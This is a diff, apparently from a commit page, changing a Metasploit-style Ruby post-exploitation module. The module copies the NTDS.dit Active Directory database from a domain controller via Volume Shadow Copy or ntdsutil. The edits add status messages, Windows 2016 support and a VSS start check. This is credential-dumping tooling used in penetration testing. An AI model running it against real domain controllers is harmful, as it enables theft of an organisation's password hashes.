@@ -31,6 +31,7 @@ def initialize(info={})
31
31
32
32
def run
33
33
if preconditions_met?
34
+ print_status "Pre-conditions met, attempting to copy NTDS.dit"
34
35
ntds_file = copy_database_file
35
36
unless ntds_file . nil?
36
37
file_stat = client . fs . file . stat ( ntds_file )
@@ -57,15 +58,15 @@ def run
57
58
58
59
def copy_database_file
59
60
database_file_path = nil
60
- if start_vss
61
- case sysinfo [ "OS" ]
62
- when /2003| \. NET/
63
- database_file_path = vss_method
64
- when /2008|2012/
65
- database_file_path = ntdsutil_method
66
- else
67
- print_error "This version of Windows is unsupported"
68
- end
61
+ case sysinfo [ "OS" ]
62
+ when /2003| \. NET/
63
+ print_status "Using Volume Shadow Copy Method"
64
+ database_file_path = vss_method
65
+ when /2008|2012|2016 /
66
+ print_status "Using NTDSUTIL method"
67
+ database_file_path = ntdsutil_method
68
+ else
69
+ print_error "This version of Windows is unsupported"
69
70
end
70
71
database_file_path
71
72
end
@@ -99,11 +100,15 @@ def ntdsutil_method
99
100
100
101
101
102
def preconditions_met?
102
- unless is_admin?
103
+ if is_admin?
104
+ print_status "Session has Admin privs"
105
+ else
103
106
print_error "This module requires Admin privs to run"
104
107
return false
105
108
end
106
- unless is_domain_controller?
109
+ if is_domain_controller?
110
+ print_status "Sessions is on a Domain Controller"
111
+ else
107
112
print_error "This does not appear to be an AD Domain Controller"
108
113
return false
109
114
end
@@ -144,6 +149,9 @@ def session_compat?
144
149
end
145
150
146
151
def vss_method
152
+ unless start_vss
153
+ fail_with ( Failure ::NoAccess , "Unable to start VSS service" )
154
+ end
147
155
location = ntds_location . dup
148
156
volume = location . slice! ( 0 , 3 )
149
157
id = create_shadowcopy ( "#{ volume } " )
0 commit comments